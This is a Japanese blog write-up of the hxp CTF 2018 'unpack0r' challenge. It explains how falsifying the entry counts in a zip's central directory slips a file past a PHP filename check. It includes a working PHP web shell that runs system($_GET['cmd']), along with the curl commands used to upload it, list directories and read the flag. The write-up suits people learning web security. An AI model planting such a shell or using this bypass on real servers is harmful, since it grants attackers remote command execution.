こんとろーるしーこんとろーるぶい

週末にカチャカチャッターン!したことを貼り付けていくブログ

hxp CTF 2018 Writeup - unpack0r

問題文

unpackbar
Connection:
http://195.201.136.29:8087/

f:id:graneed:20181209104244p:plain

writeup

zipファイルをアップロードすると、ファイル名をチェックして解凍するプログラム。
^[a-z]+$正規表現でチェックされている。
例えば、.phpのファイルを圧縮してアップロードしても、.がチェックにかかるためNG。

ファイル名のチェックはPHPのZipArchive、解凍はunzipコマンドを使用している。
2つの方式の差異を突く問題だろうか。

$zip->numFilesで、zipファイルが含むファイル数を取得してから、各ファイル名をチェックしている。
$zip->numFilesを偽装すれば、ファイル名のチェックをバイパスできそうだ。

以下のサイトでzipファイルのフォーマットを確認する。

ZIP書庫ファイル フォーマット - 略して仮。

End of central directory recordに、ファイル数を表記する項目がある。

  • total number of entries in the central directory on this disk
  • total number of entries in the central directory

適当なファイルとPHPのWebShellのファイルをzip圧縮して、上記2項目を改ざんする。

# cat aaa 

# cat bbb.php 
<?php
if($_GET['cmd']) {
  system($_GET['cmd']);
  }
?>

# zip test.zip aaa bbb.php
  adding: aaa (stored 0%)
  adding: bbb.php (deflated 20%)

バイナリエディタで変更する。 f:id:graneed:20181209110420j:plain

アップロードしてみる。

# curl http://195.201.136.29:8087/ -F zip=@test.zip
files/3eb1af474397643ae8f854de815d4c6933aa5f549a1c74d87b231677a4493336

アップロードできた!

あとはWebShellのphpを使ってファイル探索するだけ。

# curl http://195.201.136.29:8087/files/3eb1af474397643ae8f854de815d4c6933aa5f549a1c74d87b231677a4493336/bbb.php -G -d "cmd=ls"
aaa
bbb.php

# curl http://195.201.136.29:8087/files/3eb1af474397643ae8f854de815d4c6933aa5f549a1c74d87b231677a4493336/bbb.php -G --data-urlencode "cmd=ls ../../../../../"
bin
boot
dev
etc
flag_IVSbATTqgejx9Hn2berSknRO.php
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var

# curl http://195.201.136.29:8087/files/3eb1af474397643ae8f854de815d4c6933aa5f549a1c74d87b231677a4493336/bbb.php -G --data-urlencode "cmd=cat ../../../../../flag_IVSbATTqgejx9Hn2berSknRO.php"
<?php
'hxp{please_ask_gynvael_for_more_details_on_zips_:>}';

フラグゲット。
hxp{please_ask_gynvael_for_more_details_on_zips_:>}